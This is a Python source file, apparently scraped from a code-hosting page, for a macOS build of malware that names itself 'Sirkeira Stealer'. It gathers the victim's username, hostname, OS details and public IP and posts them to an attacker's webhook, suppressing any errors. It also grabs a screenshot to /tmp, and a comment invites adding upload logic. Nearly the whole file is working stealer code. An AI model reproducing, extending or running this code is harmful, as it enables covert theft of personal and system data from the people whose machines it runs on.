69 lines
1.9 KiB
Python
69 lines
1.9 KiB
Python
import os
|
|||
|
|
import sys
|
||
|
|
import json
|
||
|
|
import random
|
||
|
|
import shutil
|
||
|
|
import socket
|
||
|
|
import getpass
|
||
|
|
import platform
|
||
|
|
import subprocess
|
||
|
|
import time
|
||
|
|
from pathlib import Path
|
||
|
|
import requests
|
||
|
|
import psutil
|
||
|
|
from PIL import ImageGrab
|
||
|
|
import cv2
|
||
|
|
|
||
|
|
class Paths:
|
||
|
|
def __init__(self):
|
||
|
|
self.temp = Path("/tmp")
|
||
|
|
self.userprofile = Path.home()
|
||
|
|
self.appdata = Path.home() / "Library" / "Application Support"
|
||
|
|
|
||
|
|
class Config:
|
||
|
|
def __init__(self, webhook_url: str, malware_name: str = "Sirkeira Stealer", version: str = "1.6.0"):
|
||
|
|
self.webhook_url = webhook_url
|
||
|
|
self.malware_name = malware_name
|
||
|
|
self.version = version
|
||
|
|
self.zip_name = f"SK_{random.randint(10000000000, 99999999999)}.zip"
|
||
|
|
|
||
|
|
def get_system_info():
|
||
|
|
info = {
|
||
|
|
"username": getpass.getuser(),
|
||
|
|
"hostname": socket.gethostname(),
|
||
|
|
"os": platform.platform(),
|
||
|
|
"python": sys.version,
|
||
|
|
"ip": requests.get('https://api.ipify.org').text if requests else "N/A"
|
||
|
|
}
|
||
|
|
return info
|
||
|
|
|
||
|
|
def send_to_webhook(config, data):
|
||
|
|
try:
|
||
|
|
payload = {"content": f"**{config.malware_name} v{config.version}**\n```json\n{json.dumps(data, indent=2)}\n```"}
|
||
|
|
requests.post(config.webhook_url, json=payload)
|
||
|
|
except:
|
||
|
|
pass
|
||
|
|
|
||
|
|
def run_stealer(config: Config):
|
||
|
|
print(f"[+] {config.malware_name} v{config.version} started on macOS")
|
||
|
|
|
||
|
|
data = {
|
||
|
|
"system": get_system_info(),
|
||
|
|
"note": "macOS version - limited stealing capabilities (no Discord tokens, no Windows-specific decryption)"
|
||
|
|
}
|
||
|
|
|
||
|
|
send_to_webhook(config, data)
|
||
|
|
print("[+] Data sent to webhook")
|
||
|
|
|
||
|
|
# Optional: take screenshot
|
||
|
|
try:
|
||
|
|
screenshot = ImageGrab.grab()
|
||
|
|
screenshot.save("/tmp/screenshot.png")
|
||
|
|
# You can add file upload logic here if needed
|
||
|
|
except:
|
||
|
|
pass
|
||
|
|
|
||
|
|
if __name__ == "__main__":
|
||
|
|
# This file is imported, not run directly
|
||
|
|
pass
|